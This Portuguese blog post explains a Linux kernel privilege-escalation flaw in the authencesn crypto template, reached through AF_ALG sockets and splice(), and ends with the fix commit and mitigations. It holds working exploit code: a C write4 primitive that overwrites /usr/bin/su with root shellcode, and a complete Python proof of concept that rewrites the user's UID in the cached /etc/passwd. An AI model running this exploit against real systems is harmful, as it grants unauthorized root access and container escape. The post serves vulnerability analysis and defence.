2026-05-03
Em 29 de abril de 2026, a Theori
divulgou o Copy Fail (CVE-2026-31431),
um local privilege escalation que afeta todas as principais
distribuições Linux desde 2017. Uma falha lógica no cryptographic
template authencesn do kernel, encadeada através de sockets
AF_ALG e splice(), dá a um usuário sem
privilégios uma escrita determinística de 4 bytes no page cache de
qualquer arquivo legível. Um script
Python de 732 bytes corrompe /usr/bin/su em memória e
spawna uma shell como root.
Quando eu li o writeup do
Xint na hora pensei no Dirty
COW (CVE-2016-5341), outro bug de corrupção de page cache que dava
root em tudo. Mas a mecânica é completamente diferente. Dirty COW era
uma race condition no handler de page fault do copy-on-write. Duas
threads disputando madvise(MADV_DONTNEED) contra um write
fault conseguiam encaixar uma escrita em um mapeamento read-only. Copy
Fail não tem race nenhuma. É só uma sequência determinística de syscalls
que qualquer usuário sem privilégios pode chamar. Dirty COW escrevia
pelo subsistema de memória virtual, que pelo menos entende permissões de
página. Copy Fail escreve pelo subsistema de crypto, que não tem nenhum
conceito de ownership de página. Ele só vê uma entrada de scatterlist e
escreve nela.
Eu também achei que era um out-of-bounds write no começo (quando li “writes 4 bytes past the ciphertext boundary”). Não é. Vamos ver o porquê, e é a razão pela qual o KASAN nunca pegou isso em oito anos.
O writeup do Xint é bem feito mas passa rápido pelas
internals do kernel. Aqui vamos mais devagar, cobrindo page
cache, scatterlists, splice() e AF_ALG/AEAD
pra que você consiga acompanhar a chain completa mesmo que nunca tenha
lido código do MM(memory management) do Linux. Todos os créditos pela
descoberta vão para Taeyang Lee, Theori e o Xint Code Research Team
Toda vez que fazemos um read() em um arquivo, o kernel
não vai ao disco. Ele vai ao page cache, um cache em
memória de dados de arquivos compartilhado por todo o sistema,
organizado por pares (inode, offset). Se a página já está em cache por
uma leitura anterior (de qualquer processo), o kernel retorna direto. Se
não, ele lê do disco, coloca em cache e retorna.
container 1 container 2 host
+-----------+ +-----------+ +-----------+
| Process A | | Process B | | Process C |
| read() | | execve() | | mmap() |
+-----+-----+ +-----+-----+ +-----+-----+
| | |
+-------------------+-------------------+
|
v
+---------------------------------------------------------+
| Page Cache (RAM) |
| |
| /usr/bin/su +--------+--------+--------+ |
| | page 0 | page 1 | page 2 | |
| | ELF | .text | .data | |
| +--------+--------+--------+ |
+---------------------------+-----------------------------+
^
miss | populate
v
+-------------+
| disk |
| /usr/bin/su |
+-------------+
Duas structs importam aqui:
struct page:
representa uma única página física (geralmente 4096 bytes). Tem
flags, um ponteiro mapping (de volta pro
address_space do arquivo) e um index (o offset
da página dentro do arquivo em unidades de tamanho de página).struct address_space:
associado a um inode. É o índice do page cache para um arquivo
específico, uma radix
tree mapeando offsets de página para ponteiros de
struct page.A propriedade crítica pra essa vulnerabilidade é que o page cache é compartilhado por todo o sistema. Se dois processos em containers, cgroups e user namespaces diferentes leem o mesmo arquivo no mesmo filesystem, eles vão compartilhar as mesmas páginas físicas. Corrompendo uma página do Page Cache e todos os leitores veem o estado corrompido.
Mais uma coisa. O page cache rastreia se uma página foi modificada (o
bit “dirty”). Quando uma página fica dirty pelo caminho normal de
escrita (write(), mmap store), o kernel marca
ela como dirty e eventualmente escreve de volta no disco. Mas a
corrupção que vamos ver não passa pelo caminho normal de escrita. A
página nunca é marcada como dirty e o arquivo no disco fica intacto, mas
todo processo que lê o arquivo recebe a versão corrompida em
memória.
O kernel muitas vezes precisa descrever buffers que abrangem
múltiplas páginas físicas não contíguas. Um read() pode
retornar dados de páginas espalhadas pela memória física. Operações de
crypto precisam processar input espalhado por diferentes alocações. A
scatterlist é a forma do kernel representar esses
buffers não contíguos.
Uma única entrada struct scatterlist
descreve um pedaço contíguo:
struct scatterlist {
unsigned long page_link; // struct page* | flags in low 2 bits
unsigned int offset; // byte offset within the page
unsigned int length; // byte length of this chunk
dma_addr_t dma_address;
};O campo page_link é overloaded(o valor em si é
um ponteiro e dois bits de flags embutidos nos 64 bits). Os 2 bits mais
baixos representam as flags:
SG_CHAIN):
essa entrada é um ponteiro pro próximo array de scatterlist. É assim que
múltiplos arrays SG (scatter-gather (devs de kernel adoram abreviações
de duas letras, sg, sk, mm,
vm)) são encadeados.SG_END):
essa é a última entrada na cadeia.Os bits superiores (depois de mascarar os 2 mais baixos) armazenam o
ponteiro struct page*.
Uma cadeia de scatterlists fica assim:
SG Array 1 SG Array 2
+-------------------------+ +-------------------------+
| sg[0]: page_A off=0 | | sg[0]: page_C off=128 |
| len=4096 | | len=64 [END] |
+-------------------------+ +-------------------------+
| sg[1]: page_B off=0 | ^
| len=512 | |
+-------------------------+ |
| sg[2]: CHAIN |----------------+
+-------------------------+
sg_chain()
é a função que cria esses links. Ela seta o bit SG_CHAIN na
última entrada de um array e aponta pro primeiro entry do próximo.
Pra ler ou escrever dados em um byte offset dentro de uma cadeia de
scatterlist, o kernel fornece scatterwalk_map_and_copy().
Ela percorre a cadeia entrada por entrada, pulando páginas até chegar no
offset alvo, e então copia dados pra dentro ou pra fora. Essa função é a
que no final faz a escrita de 4 bytes no page cache nessa
vulnerabilidade.
splice(): I/O Zero-CopyA system call splice()
move dados entre um file descriptor e um pipe sem copiar pelo
userspace. Em vez de fazer read() dos dados do
arquivo pra um buffer userspace e depois write() pra outro
fd, o splice() passa referências de
página. O pipe segura ponteiros pras mesmas páginas físicas que
vivem no page cache.
splice(file_fd, pipe_wr) splice(pipe_rd, socket_fd)
+----------+ +----------+ +----------+
| File |--->| Pipe |--->| Socket |
| (on disk)| | (in mem) | | (AF_ALG) |
+----------+ +----------+ +----------+
| | |
'---------------' |
same physical pages kernel crypto
(page cache pages) receives page cache
page refs in its
scatterlist
Quando fazemos splice() de um arquivo pra um pipe, o
buffer interno do pipe não recebe uma cópia dos dados. Ele recebe
referências pras páginas do page cache em si. Depois, quando fazemos
splice() do pipe pra um socket, os buffers internos do
socket (scatterlists, no caso do AF_ALG) recebem essas mesmas
referências de páginas do page cache. Nenhuma cópia em nenhum passo. O
subsistema de crypto do kernel agora segura ponteiros diretos pras
páginas do page cache do arquivo que fizemos splice.
Sem splice(), o subsistema de crypto operaria em buffers
copiados. Com splice(), ele opera no page cache em si.
Dirty COW usava o mesmo truque de passar referências de página sem
copiar.
AF_ALG é uma família de sockets Linux que expõe a cryptographic API do kernel pra userspace sem privilégios. Qualquer usuário pode:
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); // AF_ALG = 38
struct sockaddr_alg sa = { // include/uapi/linux/if_alg.h:19
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));Sem privilégios. Sem CAP_NET_ADMIN. O módulo
auto-carrega no primeiro uso. AF_ALG foi feito pra que aplicações
userspace pudessem usar hardware-accelerated crypto sem
escrever módulos de kernel. Conveniente pra gente também.
AEAD (Authenticated Encryption with Associated Data) é uma classe de algoritmos de crypto que provê tanto confidencialidade (encriptação) quanto integridade (tag de autenticação). O input pra uma decrypt AEAD se parece com:
+---------------+--------------------+------------------+
| AAD | Ciphertext | Authentication |
| (auth'd only) | (decrypted+auth'd) | Tag (verified) |
+---------------+--------------------+------------------+
O AAD (Associated Data) é autenticado mas não encriptado. São metadados em texto puro que não podem ser adulterados. O ciphertext é decriptado. A tag de autenticação é verificada contra o AAD e o ciphertext pra detectar adulteração.
authencesnauthencesn
é um template AEAD específico usado pra IPsec ESP com Extended
Sequence Numbers (RFC 4303).
Todo pacote IPsec carrega um sequence number pra prevenir replay attacks. Originalmente era um contador de 32 bits, mas a 10 Gbps um contador de 32 bits wrapa em menos de 2 segundos. A RFC 4303 introduziu Extended Sequence Numbers (ESN), um contador de 64 bits dividido em duas metades:
Full 64-bit ESN: [ seqno_hi (32 bits) | seqno_lo (32 bits) ]
upper 32 bits lower 32 bits
Só o seqno_lo vai no wire no header ESP. O sender e o
receiver mantêm um contador compartilhado (o estado da Security
Association), então seqno_hi é implícito, ambos os lados
sabem. Isso economiza 4 bytes por pacote no wire enquanto ainda tem uma
janela anti-replay de 64 bits.
O hash de autenticação precisa cobrir o sequence number
completo de 64 bits, incluindo os bits altos que não estão no
pacote. Então o kernel tem que reconstruir o ESN completo antes de
computar o HMAC. No caminho real do IPsec (esp_input_set_header()),
o código ESP pega o seqno_hi implícito do estado da SA
(Security Association), empurra
o header do skb pra trás por 4 bytes, e coloca seqno_hi
no AAD antes de passar pro authencesn:
ESP header on the wire: [ SPI | seqno_lo | IV | ciphertext | tag ]
^
| only 32 bits
AAD reconstructed for HMAC: [ seqno_hi | seqno_lo | SPI ]
bytes 0-3 bytes 4-7 bytes 8-11
(from SA) (from wire) (from wire)
Agora o authencesn tem o ESN completo de 64 bits nos
primeiros 8 bytes do AAD. Mas a spec do HMAC pro ESP diz que o hash deve
ser computado sobre
[SPI | seqno_lo | seqno_hi | ciphertext], uma ordem de
bytes diferente. Então o authencesn precisa
rearranjar esses bytes antes de computar o hash. Ele
faz isso tratando o buffer de destino do caller como espaço de
rascunho.
Em crypto_authenc_esn_decrypt(),
três chamadas de scatterwalk_map_and_copy()
fazem o shuffle (source):
Step 1: read tmp[0..1] = dst[0..7] -- grab seqno_hi and seqno_lo
Step 2: write dst[4..7] = tmp[0] (seqno_hi) -- move seqno_hi to bytes 4-7
Step 3: write dst[assoclen+cryptlen] = tmp[1] -- stash seqno_lo PAST the ciphertext
No caminho normal de decrypt do IPsec,
dst[assoclen + cryptlen] aponta pra o
authentication tag, os bytes de HMAC logo depois do
ciphertext no buffer AEAD. A região da tag faz parte do mesmo buffer skb
alocado pelo kernel, totalmente writable, e que vai ser sobrescrito com
o HMAC computado de qualquer forma. Guardar seqno_lo lá
temporariamente é inofensivo. É espaço de rascunho que vai ser consumido
pela comparação do HMAC e depois descartado:
Normal IPsec dst buffer (single skb allocation):
+----------+--------------+----------+
| AAD | ciphertext | tag | <-- all one contiguous kernel buffer
+----------+--------------+----------+
| | |
| assoclen | cryptlen | authsize |
| ^
| dst[assoclen+cryptlen]
| = start of tag region
| safe to use as scratch
Depois do HMAC, crypto_authenc_esn_decrypt_tail()
restaura o layout original. Ela lê seqno_lo de volta de
dst[assoclen+cryptlen] e escreve os 8 bytes originais de
volta em dst[0..7]. Round-trip limpo, sem efeitos
colaterais.
Tudo isso assume que dst é um buffer privado e
writable. Que dst[assoclen + cryptlen] é seguro
pra escrever porque é só a região da tag de um buffer crypto do kernel.
Isso quebra quando alguém encadeia páginas do page cache na scatterlist
de destino nesse offset exato.
Em 2017, o commit
72548b093ee3 adicionou uma otimização ao algif_aead.c,
a interface AF_ALG AEAD. A ideia era simples. Pra decriptação, em vez de
usar scatterlists de input e output separadas, operar
in-place apontando tanto req->src
quanto req->dst pra mesma scatterlist. Isso evita uma
alocação e uma cópia. Faz sentido como ganho de performance.
O socket AF_ALG funciona como um socket de rede. O userspace
transmite dados pro kernel
(sendmsg/splice) e recebe
resultados de volta (recvmsg). O kernel usa terminologia de
rede pros dois lados:
splice(), essas entradas de scatterlist apontam direto pras
páginas do page cache.recvmsg(), memória normal do kernel,
não page cache.A implementação em _aead_recvmsg():
sg_chain().req->src = req->dst. Tanto source quanto
destination agora apontam pra mesma scatterlist combinada.Quando os dados vieram pelo splice(), o TX SGL segura
páginas do page cache. Depois do encadeamento, essas
páginas do page cache agora fazem parte da scatterlist de
destino:
req->src --+
|
v
req->dst --> RX Buffer (user memory) TX SGL (page cache pages)
+----------+----------+ +----------------------+
| AAD | CT |--chain-->| Tag pages |
| (copied) | (copied) | | (Page Cache pages!) |
+----------+----------+ +----------------------+
<--- user memory ----> <-- still page cache! ->
A fronteira entre “seguro pra escrever” (memória do usuário no RX buffer) e “não pode escrever” (páginas do page cache vindas do splice) agora é só um offset dentro da mesma cadeia de scatterlist. Qualquer escrita que ande além da região AAD + ciphertext cruza pro território do page cache.
authencesn trigga issoA otimização in-place está lá desde 2017, e todo algoritmo AEAD no
kernel usa a mesma scatterlist dst. Então por que nem toda
operação de decrypt corrompe o page cache?
Pra responder isso, vamos ver o que realmente escreve em
dst durante um decrypt AEAD normal. Tem três subsistemas
envolvidos, e cada um fica dentro da fronteira segura:
1. O engine HMAC (crypto_ahash_digest())
A computação do HMAC lê de dst pra
fazer o hash do AAD e do ciphertext. Ela escreve o hash computado em um
buffer separado do kernel
(areq_ctx->tail), não de volta em dst. O
output do hash vai pra um buffer pequeno alocado como parte do contexto
do request. Mesmo que o HMAC leia todo o range
[0 .. assoclen+cryptlen] de dst, ele nunca
escreve um único byte nele.
2. O cipher engine (crypto_skcipher_decrypt())
A decriptação AES-CBC (ou qualquer cifra configurada) escreve
plaintext em dst, mas só dentro da região do ciphertext,
dst[assoclen .. assoclen+cryptlen-authsize]. Podemos ver o
range em authenc.c line 254-255,
skcipher_request_set_crypt(skreq, src, dst, req->cryptlen - authsize, req->iv).
Essa região foi copiada do TX SGL pro RX buffer.
Memória segura do usuário.
3. Checagem da tag (crypto_authenc_decrypt_tail())
Pra checar a tag de autenticação, o kernel lê a tag de
req->src (line
240:
scatterwalk_map_and_copy(ihash, req->src, ...)). Ele lê
de req->src, não de
req->dst. Mesmo com a otimização in-place onde
src == dst, essa é uma operação de leitura (o último
argumento do scatterwalk_map_and_copy é 0 =
read). Os bytes da tag são lidos pro ihash (um buffer
local), comparados com o HMAC computado via crypto_memneq,
e descartados. A região da tag em dst nunca é
escrita.
Normal AEAD decrypt - who writes where in dst:
+------- RX buffer (user memory) -------+-- chained page cache --+
| AAD | ciphertext | tag pages |
+--------------+------------------------+------------------------+
| | |
HMAC reads cipher WRITES tag READ from src
(no writes) plaintext here into local buffer
(RX buffer, safe) (never written to dst)
O authenc regular (sem ESN) também escreve em
dst[assoclen + cryptlen], mas só durante a
encriptação (crypto_authenc_genicv(),
line
154), onde ele copia a tag HMAC computada pro buffer de output. Esse
é o caminho de encrypt, não decrypt. A otimização in-place com
sg_chain só se aplica ao caminho de
decrypt em _aead_recvmsg().
O caminho de encrypt usa um layout
de SGL diferente onde o RX buffer é grande o suficiente pra segurar
AAD + plaintext + tag, então nenhuma página do page cache é
encadeada.
O authencesn é a exceção. O rearranjo de bytes do ESN é
específico dos Extended Sequence Numbers do IPsec e nenhum outro
algoritmo AEAD precisa disso. Esse rearranjo usa dst como
espaço de rascunho, e o step 3 escreve 4 bytes em
dst[assoclen + cryptlen] durante o caminho de
decrypt. Sem o shuffle do ESN, a otimização in-place
seria inofensiva. Nenhum subsistema no pipeline normal de decrypt
escreve na região da tag de dst.
O bug passou despercebido por oito anos. A otimização in-place foi
testada com authenc, gcm, ccm e
outros algoritmos AEAD. Todos eles só leem a região da tag durante o
decrypt. O authencesn era o único algoritmo que escrevia
além da fronteira, e ninguém conectou os dois pontos.
Agora as duas peças colidem. Com a otimização in-place,
dst é a scatterlist combinada RX+encadeada. Memória do
usuário pro AAD e ciphertext, e depois páginas do page cache pra região
da tag.
Vamos ver sobre assoclen e cryptlen. Esses
são os dois parâmetros que definem o layout do buffer AEAD:
assoclen (associated data length):
quantos bytes de AAD precedem o ciphertext. Definido pelo atacante via o
cmsg ALG_SET_AEAD_ASSOCLEN em sendmsg(). No
PoC é 8 (pros 8 bytes do AAD do ESN).cryptlen (ciphertext length): quantos
bytes de ciphertext seguem o AAD. Esse é o parâmetro used
em aead_request_set_crypt().
Vem de quanto dado foi enviado via sendmsg() +
splice(), menos assoclen.Juntos eles mapeiam a scatterlist dst:
byte offset:
0 assoclen assoclen+cryptlen
| | |
v v v
dst: [ AAD (8 bytes) | ciphertext | tag ... ]
+------------------+----------------+------...--+
|<--- assoclen --->|<-- cryptlen -->|
| |
+---- RX buffer (user memory) ------+-- chained page cache --+
assoclen + cryptlen é o byte offset onde o ciphertext
termina e a tag de autenticação começa. Em operação normal, é onde a tag
vive. Memória segura de buffer crypto. Mas com a otimização in-place,
tudo depois da fronteira do RX buffer são páginas do page
cache encadeadas do TX SGL via sg_chain(). O
offset assoclen + cryptlen cai exatamente ali.
O shuffle do ESN do authencesn escreve
seqno_lo exatamente em
dst[assoclen + cryptlen] (step 3 acima). Esse offset anda
além do AAD e do ciphertext (que vivem em memória do usuário) e cai nas
páginas da tag encadeadas, que são páginas do page cache vindas
do splice:
dst scatterlist (in-place):
+------ RX buffer (user memory) ------+---- chained TX SGL (page cache) ----+
| AAD (8 bytes) | ciphertext (N) | tag pages from splice |
+---------+------+--------------------+-----+--------------------------------+
| |
step 2 writes here (safe) step 3 writes here (Page Cache!)
dst[4..7] = seqno_hi dst[assoclen+cryptlen] = seqno_lo
Por que exatamente 4 bytes? Porque seqno_lo são os 32
bits baixos do ESN de 64 bits. 32 bits = 4 bytes. O tamanho da escrita
de rascunho é fixo pelo formato ESN do IPsec.
Quando eu li o writeup do Xint pela primeira vez (“writes 4 bytes past the ciphertext boundary”) de cara pensei que era um OOB write na minha cabeça. Escrevendo out of bounds? Heap overflow clássico, certo?
A escrita em dst[assoclen + cryptlen] está
dentro dos limites da scatterlist dst. A
scatterlist tem entradas válidas nesse offset, as páginas da tag
encadeadas. scatterwalk_map_and_copy percorre a cadeia,
encontra uma entrada struct scatterlist válida com um
ponteiro struct page válido e um length válido, mapeia a
página, escreve nela. Nenhum bounds check falha. Nenhuma corrupção de
memória no sentido de heap. Nenhum KASAN splat. Tudo está “correto”.
O bug é sobre ownership, não tamanho. A scatterlist
tem o tamanho certo. A página nesse offset é uma página real, mapeada,
válida. Mas a página pertence ao page cache, uma cópia em cache de um
arquivo no disco. E o authencesn trata ela como um buffer
de rascunho privado. No caminho normal do IPsec, esse offset aponta pra
uma página skb alocada pelo kernel que ninguém se importa. Com a
otimização in-place e splice(), o mesmo offset agora aponta
pra uma página do page cache que foi encadeada via
sg_chain().
Sem buffer overflow. Sem use-after-free. Sem type confusion. A
escrita é arquiteturalmente correta. Ela só escreve em uma página que
nunca deveria estar naquela posição da scatterlist. Um bug lógico sobre
quais páginas acabam em dst, não sobre quantos bytes são
escritos. Dirty COW era invisível pra sanitizadores de memória pela
mesma razão. A escrita acerta uma página válida, só a página
errada. As ferramentas de segurança de memória do kernel checam
tamanhos e lifetimes, não ownership.
O que o atacante controla?
tmp[1] é
seqno_lo, bytes 4-7 do AAD. O atacante fornece o AAD via
sendmsg(). Ele escolhe cada byte.splice()).splice() e os parâmetros
assoclen/cryptlen.E a escrita acontece antes da checagem do HMAC.
crypto_authenc_esn_decrypt() rearranja o ESN primeiro (line
293-295), depois computa o HMAC (line
305), e aí checa em decrypt_tail(). O HMAC vai falhar
(o ciphertext é lixo controlado pelo atacante) e recvmsg()
retorna um erro. Mas a escrita de 4 bytes no page cache já foi
feita.
O PoC público é um script Python ofuscado de 732 bytes. Pra facilitar o acompanhamento do fluxo de syscalls, aqui vai a mesma lógica como C legível. Também tem um port completo em C pelo @tgies.
Step 1: Abre o socket AF_ALG e faz bind do
authencesn
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));Isso cria um socket AF_ALG
e faz bind no template AEAD authencesn. Sem privilégios. O
kernel auto-carrega algif_aead e authencesn no
primeiro uso.
Step 2: Configura os parâmetros de crypto
// AES-128 key, value doesn't matter, HMAC will fail anyway
uint8_t key[40] = { 0x08, 0x00, 0x01, 0x00, [4 ... 7] = 0x00, [8 ... 11] = 0x10 };
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
// Authentication tag size = 4 bytes
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
// accept() gives us the request file descriptor
int req_fd = accept(alg_fd, NULL, NULL);SOL_ALG
= 279. ALG_SET_KEY
= 1. ALG_SET_AEAD_AUTHSIZE
= 5. O valor da chave é irrelevante, a computação do HMAC vai falhar de
qualquer forma, e a corrupção do page cache acontece antes da
checagem.
Step 3: A primitiva write4, uma escrita de 4
bytes no page cache
Esse é o core do exploit. Cada chamada sobrescreve 4 bytes em um offset escolhido no page cache do arquivo alvo:
void write4(int req_fd, int target_fd, off_t offset, uint8_t value[4])
{
// Build the AAD: 4 garbage bytes + the 4 bytes we want to write.
// Bytes 4-7 become seqno_lo in authencesn, the value that gets
// written to dst[assoclen+cryptlen], which is our page cache page.
uint8_t aad[8] = { 'A','A','A','A', value[0], value[1], value[2], value[3] };
// cmsg headers tell the kernel: decrypt mode, IV, assoclen = 8
struct cmsghdr cmsg_iv, cmsg_op, cmsg_assoclen;
// ALG_SET_IV: 16 zero bytes (AES block size)
// ALG_SET_OP: ALG_OP_DECRYPT
// ALG_SET_AEAD_ASSOCLEN: 8 (our AAD is 8 bytes)
struct msghdr msg = { /* iov = aad, cmsg = above */ };
sendmsg(req_fd, &msg, MSG_MORE); // send AAD, flag more data coming
// Now splice the target file's page cache pages into the crypto socket.
// This is where the page cache pages enter the TX SGL by reference.
int pipefd[2];
pipe(pipefd);
loff_t file_off = 0;
splice(target_fd, &file_off, pipefd[1], NULL, offset + 4, 0);
splice(pipefd[0], NULL, req_fd, NULL, offset + 4, 0);
// recv() triggers the AEAD decrypt in the kernel.
// authencesn rearranges ESN bytes -> writes seqno_lo to page cache.
// HMAC fails -> recv returns error, but the 4 bytes are already written.
char buf[4096];
recv(req_fd, buf, sizeof(buf), 0); // error expected, we don't care
close(pipefd[0]);
close(pipefd[1]);
}O sendmsg com MSG_MORE envia o AAD (8
bytes) e diz pro kernel “mais dados estão vindo”. As duas chamadas de
splice então alimentam as páginas do page cache do arquivo
alvo no socket como ciphertext + tag. Quando o recv dispara
o decrypt, o authencesn escreve aad[4..7] em
dst[assoclen + cryptlen], que é uma página do page cache do
arquivo alvo.
Step 4: Sobrescreve o binário alvo, 4 bytes por vez
int target = open("/usr/bin/su", O_RDONLY);
// payload[] is a small ELF shellcode that calls setuid(0) + execve("/bin/sh")
for (int i = 0; i < payload_len; i += 4) {
write4(req_fd, target, i, &payload[i]);
}
// The page cache of /usr/bin/su now contains our shellcode.
// Execute it - the kernel loads from the corrupted page cache.
execve("/usr/bin/su", (char*[]){ "su", NULL }, NULL);
// we are rootCada chamada de write4 corrompe 4 bytes do page cache de
/usr/bin/su. Depois de payload_len / 4
iterações, a imagem em memória do binário foi reescrita.
execve carrega do cache corrompido, não do disco. O
shellcode roda como root. Profit! :D
O page cache é por filesystem, não por namespace. Um container que
monta o root filesystem do host (ou compartilha uma layer com ele) usa
as mesmas páginas físicas do page cache que o host. Corrompendo a page
cache de /usr/bin/su de dentro de um container, e o
su do host está corrompido também. Container escape de
graça.
chmod 4711Depois da divulgação, uma “mitigação” começou a circular no twitter:
for b in passwd chsh chfn mount sudo pkexec; do
p=$(readlink -f "$(command -v "$b")")
[ -n "$p" ] && [ "$(stat -c %a "$p")" != "4711" ] && chmod 4711 "$p"
doneEla remove a permissão de leitura de binários setuid
(rwx--x--x em vez de rwsr-xr-x), pra que
usuários sem privilégios não consigam fazer open() neles
pra leitura, e portanto não possam fazer splice() das
páginas do page cache deles.
Isso não funciona. A vulnerabilidade é uma escrita de 4 bytes no page
cache de qualquer arquivo legível, não só binários
setuid. O PoC original alvo é /usr/bin/su porque é um
binário setuid conveniente pra corromper e executar. Mas a primitiva é
muito mais geral. Enquanto você puder fazer
open(path, O_RDONLY) em um arquivo, você pode corromper o
page cache dele.
/etc/passwd é o alvo alternativo óbvio. Legível por
todos em todo sistema Linux porque ls -l, id,
ps e todo programa que mapeia UIDs pra nomes lê ele. O
formato é trivial, cada linha é username:x:uid:gid:....
Sobrescrever o campo UID do seu usuário de 1000 pra
0000 no page cache faz o sistema acreditar que você é
root.
Eu escrevi um PoC mínimo que faz exatamente isso. Em vez de corromper
um binário setuid, ele sobrescreve o campo UID da entrada do atacante em
/etc/passwd:
#!/usr/bin/env python3
## Tested on kernel 6.12.10.
import os, socket, struct
TARGET = "/etc/passwd"
USER = os.environ.get("USER", "user")
with open(TARGET, "rb") as f:
data = f.read()
# Find the line for our user: "user:x:1000:1000:..."
# The UID is the third field (after the second ':')
prefix = f"{USER}:x:".encode()
idx = data.find(prefix)
uid_offset = idx + len(prefix)
old_uid = data[uid_offset:uid_offset+4]
ALG_SOCK = 38 # AF_ALG
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
alg = socket.socket(ALG_SOCK, socket.SOCK_SEQPACKET, 0)
alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# Key format: rtattr header + crypto_authenc_key_param + authkey + enckey
# rtattr { rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM(1) }
# crypto_authenc_key_param { enckeylen=16 (AES-128, big-endian) }
# then: 16 bytes HMAC-SHA256 key + 16 bytes AES key (all zeros, value irrelevant)
key = bytes.fromhex('0800010000000010' + '0' * 64)
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
req, _ = alg.accept()
def write4(fd, offset, value_4bytes):
aad = b"AAAA" + value_4bytes # bytes 4-7 of AAD = seqno_lo = the written value
iv_data = b'\x10' + b'\x00' * 19
op_data = b'\x00' * 4
assoc = struct.pack("I", 8)
req.sendmsg(
[aad],
[
(SOL_ALG, ALG_SET_IV, iv_data),
(SOL_ALG, ALG_SET_OP, op_data),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, assoc),
],
socket.MSG_MORE
)
splice_len = offset + 4
r, w = os.pipe()
os.splice(fd, w, splice_len, offset_src=0)
os.splice(r, req.fileno(), splice_len)
try:
req.recv(8 + offset)
except OSError:
pass
os.close(r)
os.close(w)
target_fd = os.open(TARGET, os.O_RDONLY)
new_uid = b"0000"
write4(target_fd, uid_offset, new_uid)
os.close(target_fd)
import pwd
info = pwd.getpwnam(USER)
if info.pw_uid == 0:
print(f"[+] '{USER}' is now UID 0 in the page cache, just run `su - {USER}`")
else:
print(f"[-] UID is {info.pw_uid}, expected 0")O fluxo do ataque é diferente da abordagem com setuid mas igualmente efetivo:
/etc/passwd no page cache, mudando
user:x:1000: pra user:x:0000:su - user e digita a própria senha do
user/etc/shadow (intacto, a senha é
válida)su chama
setuid(getpwnam("user").pw_uid)getpwnam lê /etc/passwd do page
cache corrompido e retorna UID 0setuid(0), root shellNenhum binário setuid foi corrompido. Nenhuma permissão de leitura em
nenhum binário setuid foi necessária. O alvo era um arquivo de texto
legível por todos. A “mitigação” do chmod 4711 não muda
nada.
Aplique o patch no kernel, desabilite o carregamento do módulo
algif_aead, ou bloqueie a criação de sockets
AF_ALG via seccomp. chmod não ajuda.
O Commit
a664bf3d603d reverte a otimização in-place de 2017. O
fix é simples na teoria. Manter source e destination como scatterlists
separadas.
Antes (vulnerável), algif_aead.c:282:
// src and dst point to the same scatterlist (in-place)
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);Páginas do page cache vindas do TX SGL são encadeadas
no src/dst compartilhado via sg_chain(). A escrita de
rascunho do authencesn cai nelas.
Depois (corrigido):
// src and dst are separate scatterlists (out-of-place)
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src,
areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);req->src agora aponta pro TX SGL (que pode conter
páginas do page cache vindas do splice). req->dst aponta
pro RX SGL, um buffer alocado separadamente pro recvmsg()
do usuário. A escrita de rascunho do authencesn em
dst[assoclen + cryptlen] agora acerta o RX buffer (memória
inofensiva do usuário), não páginas do page cache. O
sg_chain() ligando páginas da tag do page cache a um
destino gravável sumiu.
A mensagem do commit:
crypto: algif_aead - Revert to operating out-of-place
This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.
Oito anos de exposição silenciosa, corrigidos removendo uma otimização de performance que não tinha nenhum benefício real. Hmm.
Se não puder aplicar o patch agora, bloqueie a criação de sockets
AF_ALG:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || trueIsso não afeta dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, SSH,
ou qualquer usuário de crypto in-kernel. Esses passam pela API de crypto
do kernel direto sem AF_ALG. Pra containers e sistemas de
CI, bloqueie também a criação de sockets AF_ALG via
seccomp.
72548b093ee3 - the 2017 in-place optimization
(vulnerability introduction)a664bf3d603d - the fixSe você tiver qualquer duvida, fique a vontade para chamar no twitter!